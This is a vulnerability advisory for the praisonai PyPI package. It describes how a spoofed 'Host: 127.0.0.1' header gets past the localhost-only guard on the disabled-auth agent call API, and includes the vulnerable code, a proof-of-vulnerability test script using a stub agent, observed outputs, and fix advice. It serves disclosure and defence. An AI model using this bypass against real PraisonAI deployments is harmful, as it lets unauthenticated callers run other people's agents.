Skip to content

GHSA-2gpf-2492-q9jh CVE-2026-61435 PYSEC-2026-4247

PraisonAI: Call API localhost-only authentication bypass via spoofed Host header

High PyPI
Severity
8.8 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.49%
Chance of exploitation in the next 30 days. Higher than 42.10% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-287 Improper Authentication
CWE-306 Missing Authentication for Critical Function
CWE-346 Origin Validation Error
Fix
4.6.78
Upgrade praisonai to this version or later

Description

Call API localhost-only authentication bypass via spoofed Host header

Summary

PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.

Technical Details

The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:

_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def _bind_host_from_request(request: Request) -> str:
    host = getattr(getattr(request, 'url', None), 'hostname', None)
    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
    if _call_auth_disabled():
        bind_host = _bind_host_from_request(request)
        if bind_host not in _LOCALHOST_HOSTS:
            raise HTTPException(
                status_code=503,
                detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
            )
        return

The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.

The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.

This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.

PoV

the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.

disabled_client = TestClient(app, base_url="http://external.example")

external_host = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
    "/api/v1/agents/pov-agent/invoke",
    headers={"host": "127.0.0.1"},
    json={"message": "host-header-bypass"},
)

Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.

The complete PoV script is in Appendix A.

PoC

Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:

git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed v4.6.62 output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
  "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
  "spoofed_localhost_invoke_body": {
    "metadata": {
      "agent_id": "pov-agent",
      "message_length": 18,
      "response_length": 33
    },
    "result": "stub-agent-ran:host-header-bypass",
    "session_id": "default",
    "status": "success"
  },
  "stub_agent_calls": [
    "host-header-bypass"
  ],
  "vulnerable": true
}

Run the same script against current main:

git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed current-head output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
  "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
  "spoofed_localhost_invoke_body": {
    "metadata": {
      "agent_id": "pov-agent",
      "message_length": 18,
      "response_length": 33
    },
    "result": "stub-agent-ran:host-header-bypass",
    "session_id": "default",
    "status": "success"
  },
  "stub_agent_calls": [
    "host-header-bypass"
  ],
  "vulnerable": true
}

The negative controls are the first two status fields. With default authentication and no token, the API fails closed with 503. With PRAISONAI_CALL_AUTH=disabled, an ordinary external Host is also rejected with 503. Only the spoofed localhost Host passes the guard and reaches agent execution.

Impact

An unauthenticated caller who can reach a PraisonAI call/serve API with PRAISONAI_CALL_AUTH=disabled can bypass the intended localhost-only restriction by setting Host: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through /api/v1/agents/{agent_id}/invoke.

Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted /api/v1/agents API family.

Suggested CWE: CWE-287 Improper Authentication and CWE-346 Origin Validation Error, with CWE-306 Missing Authentication for Critical Function also applicable to the bypassed protected action.

Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.

Suggested Fix

Do not derive bind safety from Request.url, the HTTP Host header, or any request-header-derived value. If PRAISONAI_CALL_AUTH=disabled remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.

Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to 127.0.0.1, localhost, or ::1.

Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where PRAISONAI_CALL_AUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.

Affected Package/Versions

Affected package: praisonai on PyPI.

Confirmed affected:

  • v4.6.62 at 2a855c470077c7d2e2479a575f7ef7f548d51c33
  • current main at 846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting 4.6.62

v4.6.60 had the older unconditional PRAISONAI_CALL_AUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape present in v4.6.62 and current main. If v4.6.61 contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.

Fixed version: unknown.

Advisory History

I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:

  • GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion when CALL_SERVER_TOKEN is unset in older releases. Current code fails closed when no token is configured; this report requires the patched PRAISONAI_CALL_AUTH=disabled localhost guard and a spoofed Host header.
  • GHSA-8ccj-p46r-jwqq: PRAISONAI_CALL_AUTH=disabled unconditionally disabled authentication in older releases and is listed as patched in >= 4.6.61. This report shows v4.6.62 and current main are still bypassable through the new guard because the guard trusts request.url.hostname.
  • GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through praisonaiagents.mcp.ToolsMCPServer.run_sse(), /sse, and /messages/. That advisory affects praisonaiagents >= 0.6.0, < 1.6.58 and praisonai >= 3.10.0, < 4.6.58, with patches listed as praisonaiagents >= 1.6.59 and praisonai >= 4.6.59. This report targets a different package call path in praisonai.api.agent_invoke.verify_token() and /api/v1/agents/{agent_id}/invoke, confirmed in praisonai v4.6.62 and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires PRAISONAI_CALL_AUTH=disabled on the call/n8n agent API and bypasses its localhost-only opt-out guard with Host: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.
  • GHSA-x8cv-xmq7-p8xp: AgentTeam.launch() unauthenticated API. That advisory covers praisonaiagents AgentTeam.launch() routes, not praisonai.api.agent_invoke.verify_token().
  • GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.

No advisory I found describes Host-header spoofing against the patched PRAISONAI_CALL_AUTH=disabled localhost guard in praisonai.api.agent_invoke.

References

Appendix A - Full PoV Script

#!/usr/bin/env python3
"""PoV for PraisonAI call API Host-header localhost guard bypass."""

from __future__ import annotations

import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any


def _repo_root() -> Path:
    if len(sys.argv) == 2:
        return Path(sys.argv[1]).resolve()
    return Path.cwd().resolve()


def _load_agent_invoke(repo_root: Path, auth_disabled: bool):
    os.environ.pop("CALL_SERVER_TOKEN", None)
    if auth_disabled:
        os.environ["PRAISONAI_CALL_AUTH"] = "disabled"
    else:
        os.environ.pop("PRAISONAI_CALL_AUTH", None)

    package_root = repo_root / "src" / "praisonai"
    if not package_root.exists():
        raise SystemExit(f"missing PraisonAI package root: {package_root}")
    package_root_s = str(package_root)
    if package_root_s not in sys.path:
        sys.path.insert(0, package_root_s)

    import praisonai.api.agent_invoke as agent_invoke

    agent_invoke = importlib.reload(agent_invoke)
    agent_invoke._agent_registry.clear()
    return agent_invoke


class StubAgent:
    def __init__(self) -> None:
        self.calls: list[str] = []

    def start(self, message: str) -> str:
        self.calls.append(message)
        return f"stub-agent-ran:{message}"


def _make_client(agent_invoke: Any):
    from fastapi import FastAPI
    from fastapi.testclient import TestClient

    app = FastAPI()
    app.include_router(agent_invoke.router)
    return TestClient(app, base_url="http://external.example")


def main() -> int:
    repo_root = _repo_root()

    fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)
    fail_closed_client = _make_client(fail_closed_mod)
    fail_closed = fail_closed_client.get(
        "/api/v1/agents",
        headers={"host": "127.0.0.1"},
    )

    disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)
    agent = StubAgent()
    disabled_mod.register_agent("pov-agent", agent)
    disabled_client = _make_client(disabled_mod)

    external_host = disabled_client.get(
        "/api/v1/agents",
        headers={"host": "external.example"},
    )
    spoofed_localhost_list = disabled_client.get(
        "/api/v1/agents",
        headers={"host": "127.0.0.1"},
    )
    spoofed_localhost_invoke = disabled_client.post(
        "/api/v1/agents/pov-agent/invoke",
        headers={"host": "127.0.0.1"},
        json={"message": "host-header-bypass"},
    )

    result = {
        "repo_head": _git(repo_root, "rev-parse", "HEAD"),
        "fail_closed_without_token_status": fail_closed.status_code,
        "disabled_auth_external_host_status": external_host.status_code,
        "disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code,
        "disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code,
        "spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke),
        "stub_agent_calls": agent.calls,
    }

    expected = (
        fail_closed.status_code == 503
        and external_host.status_code == 503
        and spoofed_localhost_list.status_code == 200
        and spoofed_localhost_invoke.status_code == 200
        and agent.calls == ["host-header-bypass"]
    )
    result["vulnerable"] = expected
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if expected else 1


def _safe_json(response: Any) -> Any:
    try:
        return response.json()
    except Exception:
        return response.text


def _git(repo_root: Path, *args: str) -> str:
    import subprocess

    return subprocess.check_output(
        ["git", "-C", str(repo_root), *args],
        text=True,
        stderr=subprocess.DEVNULL,
    ).strip()


if __name__ == "__main__":
    raise SystemExit(main())

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.6.78
4.6.78

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.6.78

pip
pip install --upgrade "praisonai>=4.6.78"
poetry
poetry add "praisonai>=4.6.78"
uv
uv add "praisonai>=4.6.78"

Severity breakdown

CVSS 4.0 8.8

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

Weakness

CWE-287: Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

How to prevent it
  • Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CWE-346: Origin Validation Error

The product does not properly verify that the source of data or communication is valid.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor